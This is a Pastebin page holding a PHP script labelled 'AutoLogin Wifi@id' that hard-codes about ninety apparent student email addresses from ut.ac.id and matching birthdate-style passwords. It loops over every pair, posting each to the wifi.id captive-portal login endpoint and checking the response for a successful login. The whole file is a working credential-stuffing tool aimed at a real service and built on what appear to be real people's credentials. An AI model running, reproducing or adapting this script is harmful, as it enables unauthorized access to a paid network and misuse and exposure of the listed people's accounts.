Advertisement
imam5758

index.php

Oct 14th, 2018
169
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 8.32 KB | None | 0 0
  1. <?php
  2. // Script Update :15 Oktober 2018
  3. // By TeMix
  4. $name = gethostname();
  5. $spasi = "\n";
  6.  
  7. function acak($panjang)
  8. {
  9.     $karakter= '1234567890';
  10.     $string = '';
  11.     for ($i = 0; $i < $panjang; $i++) {
  12.         $pos = rand(0, strlen($karakter)-1);
  13.         $string .= $karakter{$pos};
  14.     }
  15.     return $string;
  16. }
  17. //cara memanggilnya
  18. $hasil_1= acak(6);
  19. $hasil_2= acak(9);
  20.  
  21.  
  22. // Setting Username dan Password
  23. $username = array (
  24.     '030652192@ut.ac.id',
  25.     '030655087@ut.ac.id',
  26.     '030654949@ut.ac.id',
  27.     '030650253@ut.ac.id',
  28.     '030655324@ut.ac.id',
  29.     '030650325@ut.ac.id',
  30.     '030650207@ut.ac.id',
  31.     '030652558@ut.ac.id',
  32.     '030650214@ut.ac.id',
  33.     '030657492@ut.ac.id',
  34.     '030658201@ut.ac.id',
  35.     '030658803@ut.ac.id',
  36.     '030654125@ut.ac.id',
  37.     '030650174@ut.ac.id',
  38.     '030658731@ut.ac.id',
  39.     '030655965@ut.ac.id',
  40.     '030651792@ut.ac.id',
  41.     '030655997@ut.ac.id',
  42.     '030653954@ut.ac.id',
  43.     '030654308@ut.ac.id',
  44.     '030651216@ut.ac.id',
  45.     '030658108@ut.ac.id',
  46.     '030650278@ut.ac.id',
  47.     '030654458@ut.ac.id',
  48.     '030657399@ut.ac.id',
  49.     '030654623@ut.ac.id',
  50.     '030656104@ut.ac.id',
  51.     '030656999@ut.ac.id',
  52.     '030654021@ut.ac.id',
  53.     '030650024@ut.ac.id',
  54.     '030657969@ut.ac.id',
  55.     '030652834@ut.ac.id',
  56.     '030650221@ut.ac.id',
  57.     '030658036@ut.ac.id',
  58.     '030658004@ut.ac.id',
  59.     '030650181@ut.ac.id',
  60.     '030654046@ut.ac.id',
  61.     '030654211@ut.ac.id',
  62.     '030653922@ut.ac.id',
  63.     '030652114@ut.ac.id',
  64.     '030658914@ut.ac.id',
  65.     '030655023@ut.ac.id',
  66.     '030658842@ut.ac.id',
  67.     '030652612@ut.ac.id',
  68.     '030657224@ut.ac.id',
  69.     '030656136@ut.ac.id',
  70.     '030657897@ut.ac.id',
  71.     '030655094@ut.ac.id',
  72.     '030650135@ut.ac.id',
  73.     '030650357@ut.ac.id',
  74.     '030650318@ut.ac.id',
  75.     '030651549@ut.ac.id',
  76.     '030657983@ut.ac.id',
  77.     '030656143@ut.ac.id',
  78.     '030653843@ut.ac.id',
  79.     '030652003@ut.ac.id',
  80.     '030652873@ut.ac.id',
  81.     '030652408@ut.ac.id',
  82.     '030654544@ut.ac.id',
  83.     '030657152@ut.ac.id',
  84.     '030650095@ut.ac.id',
  85.     '030658147@ut.ac.id',
  86.     '030654727@ut.ac.id',
  87.     '030650593@ut.ac.id',
  88.     '030436506@ut.ac.id',
  89.     '030454084@ut.ac.id',
  90.     '030432856@ut.ac.id',
  91.     '030461714@ut.ac.id',
  92.     '030467983@ut.ac.id',
  93.     '030452374@ut.ac.id',
  94.     '030448675@ut.ac.id',
  95.     '030486066@ut.ac.id',
  96.     '030457889@ut.ac.id',
  97.     '030412467@ut.ac.id',
  98.     '030434803@ut.ac.id',
  99.     '030430379@ut.ac.id',
  100.     '030485659@ut.ac.id',
  101.     '030403411@ut.ac.id',
  102.     '030485089@ut.ac.id',
  103.     '030451333@ut.ac.id',
  104.     '030456737@ut.ac.id',
  105.     '030455212@ut.ac.id',
  106.     '030454923@ut.ac.id',
  107.     '030456436@ut.ac.id',
  108.     '030454156@ut.ac.id',
  109.     '030458185@ut.ac.id',
  110.     '030456199@ut.ac.id',
  111.     '030451129@ut.ac.id',
  112.     '030459718@ut.ac.id',
  113.     '030450499@ut.ac.id',
  114.     '030454307@ut.ac.id',
  115.     '030450062@ut.ac.id',
  116. );
  117. $password = array (
  118.     '2018128021998',
  119.     '2018101011999',
  120.     '2018127101998',
  121.     '2018102061982',
  122.     '2018122071992',
  123.     '2018114121998',
  124.     '2018113091990',
  125.     '2018122041984',
  126.     '2018117121977',
  127.     '2018123121988',
  128.     '2018107081964',
  129.     '2018103021993',
  130.     '2018119091983',
  131.     '2018113101991',
  132.     '2018115091994',
  133.     '2018123071997',
  134.     '2018108061996',
  135.     '2018116011998',
  136.     '2018107041987',
  137.     '2018130031995',
  138.     '2018117041995',
  139.     '2018125061998',
  140.     '2018105051998',
  141.     '2018110041991',
  142.     '2018111021981',
  143.     '2018128021992',
  144.     '2018114121993',
  145.     '2018109121996',
  146.     '2018104051990',
  147.     '2018121101996',
  148.     '2018126061998',
  149.     '2018127041999',
  150.     '2018108071997',
  151.     '2018122101995',
  152.     '2018103091993',
  153.     '2018102021978',
  154.     '2018106071990',
  155.     '2018117051987',
  156.     '2018106111996',
  157.     '2018111011999',
  158.     '2018106011996',
  159.     '2018104121995',
  160.     '2018123071983',
  161.     '2018111091995',
  162.     '2018114041997',
  163.     '2018118021999',
  164.     '2018129121978',
  165.     '2018126061997',
  166.     '2018102031998',
  167.     '2018115101996',
  168.     '2018113121991',
  169.     '2018109101996',
  170.     '2018105121994',
  171.     '2018118101989',
  172.     '2018116101992',
  173.     '2018104081998',
  174.     '2018105091990',
  175.     '2018130081994',
  176.     '2018122121986',
  177.     '2018104011997',
  178.     '2018113041989',
  179.     '2018104031998',
  180.     '2018123121998',
  181.     '2018124091997',
  182.     '2017231031998',
  183.     '2017208101995',
  184.     '2017209091993',
  185.     '2017212051981',
  186.     '2017205071994',
  187.     '2017205101974',
  188.     '2017205021995',
  189.     '2017227091997',
  190.     '2017229111996',
  191.     '2017216071997',
  192.     '2017223041994',
  193.     '2017222111999',
  194.     '2017224101995',
  195.     '2017204071999',
  196.     '2017212011974',
  197.     '2017229041982',
  198.     '2017211031992',
  199.     '2017216101997',
  200.     '2017204121996',
  201.     '2017212101989',
  202.     '2017225121999',
  203.     '2017215061997',
  204.     '2017208021991',
  205.     '2017202101997',
  206.     '2017205071999',
  207.     '2017209081986',
  208.     '2017218031982',
  209.     '2017205091996',
  210. );
  211.  
  212. // Muncul saat di php index.php pada termux atau di Powershell
  213. echo " ----------------------------------------", "$spasi";
  214. echo " -          AutoLogin Wifi@id           -", "$spasi";
  215. echo " -              Versi 1.8               -", "$spasi";
  216. echo " ----------------------------------------", "$spasi";
  217.  
  218. //init curl
  219. foreach ($username as $usr => $user){
  220.  
  221.     foreach($password as $pass => $passwords){
  222.         $ch = curl_init('https://welcome2.wifi.id/authnew/login/check_login.php');
  223.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
  224.         curl_setopt($ch,CURLOPT_POST,1);
  225.         curl_setopt($ch,CURLOPT_POSTFIELDS,"buttonClicked=4&redirect_url=https://belajarsamatemix.blogspot.co.id&err_flag=0&username=$user&password=$passwords&submit=");
  226.         curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
  227.         // if (preg_match("/Successful|Berhasil|redirec|wifi.id-wag|:1|landing6.wifi.id/", curl_exec ($ch))){
  228.         //  // echo "[Scan]-->[Sukses] $user:$passwords", "\n";
  229.         //  // echo "[Scan]-->[Sukses] $user:KEPO", "\n";
  230.         //  // echo "[Scan]--> $user:KEPO", "\n";
  231.         //  // echo " Sedang dalam pengecekan...", "\n";
  232.         //  // echo "[Scan]-->[Proses]8198",$hasil_1, "@ut.ac.id:2018", $hasil_2, "\n";
  233.         //  echo " [Scan]-->[Proses]","\n";
  234.         //  // return false;
  235.         // }else {
  236.         //  // echo "[Scan]-->[Gagal] $user:$passwords", "\n";
  237.         //  echo "Gagal Menghungungkan", "\n";
  238.         //  return true;
  239.         // }
  240.        
  241.         if (preg_match("/Successful|Berhasil|redirec|wifi.id-wag|:1|landing6.wifi.id/", curl_exec ($ch))){
  242.             // echo "[Scan]-->[Sukses] $user:$passwords", "\n";
  243.             // echo "[Scan]-->[Sukses] $user:KEPO", "\n";
  244.             // echo "[Scan]--> $user:KEPO", "\n";
  245.             // echo " Sedang dalam pengecekan...", "\n";
  246.             // echo "[Scan]-->[Proses]8198",$hasil_1, "@ut.ac.id:2018", $hasil_2, "\n";
  247.             echo date(" [h:i:s]"),"-->[Proses]","\n";
  248.             // return false;
  249.         }else {
  250.             // echo "[Scan]-->[Gagal] $user:$passwords", "\n";
  251.             echo "Gagal Menghungungkan", "\n";
  252.             return true;
  253.         }
  254.         curl_close ($ch);
  255.     }
  256.  
  257.     if ($user&&$passwords==TRUE) {
  258.  
  259.     //  // if($httpcode>=200 && $httpcode<300){
  260.         echo "----------------------------------------", "$spasi";
  261.         echo "-          Biarkan ini tetap Berjalan  -", "$spasi";
  262.         echo "-            Sampai Ping tidak RTO     -", "$spasi";
  263.         echo "----------------------------------------", "$spasi";
  264.         // echo ping("google.com");
  265.     } else {
  266.         echo "----------------------------------------", "$spasi";
  267.         echo "-             Tidak Terhubung Ke           -", "$spasi";
  268.         echo "-                 Internet             -", "$spasi";
  269.         echo "----------------------------------------", "$spasi";
  270.     }
  271.  
  272.     //  // echo "Selamat Anda Sudah Terhubung ke Wifi.id";
  273.     //  return false;
  274.     // }else {
  275.     //  echo "----------------------------------------", "$spasi";
  276.     //  echo "-                Semua Akun            -", "$spasi";
  277.     //  echo "-                 Terpakai             -", "$spasi";
  278.     //  echo "----------------------------------------", "$spasi";
  279.  
  280.     // }
  281.  
  282.     // $host = "103.102.0.146";
  283.     // $port = "80";
  284.  
  285.     // $connected = @fsockopen($host, $port);
  286.     // if ($connected){
  287.     //  echo "----------------------------------------", "$spasi";
  288.     //  echo "-             Terhubung Ke           -", "$spasi";
  289.     //  echo "-                 Internet             -", "$spasi";
  290.     //  echo "----------------------------------------", "$spasi";
  291.  
  292.     //  return false;
  293.     // } else {
  294.     //  echo "----------------------------------------", "$spasi";
  295.     //  echo "-             Tidak Terhubung Ke           -", "$spasi";
  296.     //  echo "-                 Internet             -", "$spasi";
  297.     //  echo "----------------------------------------", "$spasi";
  298.     //  return true;
  299.     // }
  300. //  $ip = "103.102.0.146"; //IP atau website
  301. // $port = "80"; //Port
  302. // $sock = @fsockopen( $ip, $port, $num, $error, 2 ); //2 waktu ping
  303. // if( !$sock ){
  304. // //Jika Port Tertutup
  305. // echo( "Status server <font color='red'>Offline</font>");
  306. // }
  307. // if( $sock ){
  308. // //Jika Port Terbuka
  309. // echo( "Status server <font color='green'>Online</font>" );
  310. // fclose($sock);
  311. // }
  312.  
  313.  
  314. //  // else{
  315. //  //  return true;
  316. //  // }
  317. }?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement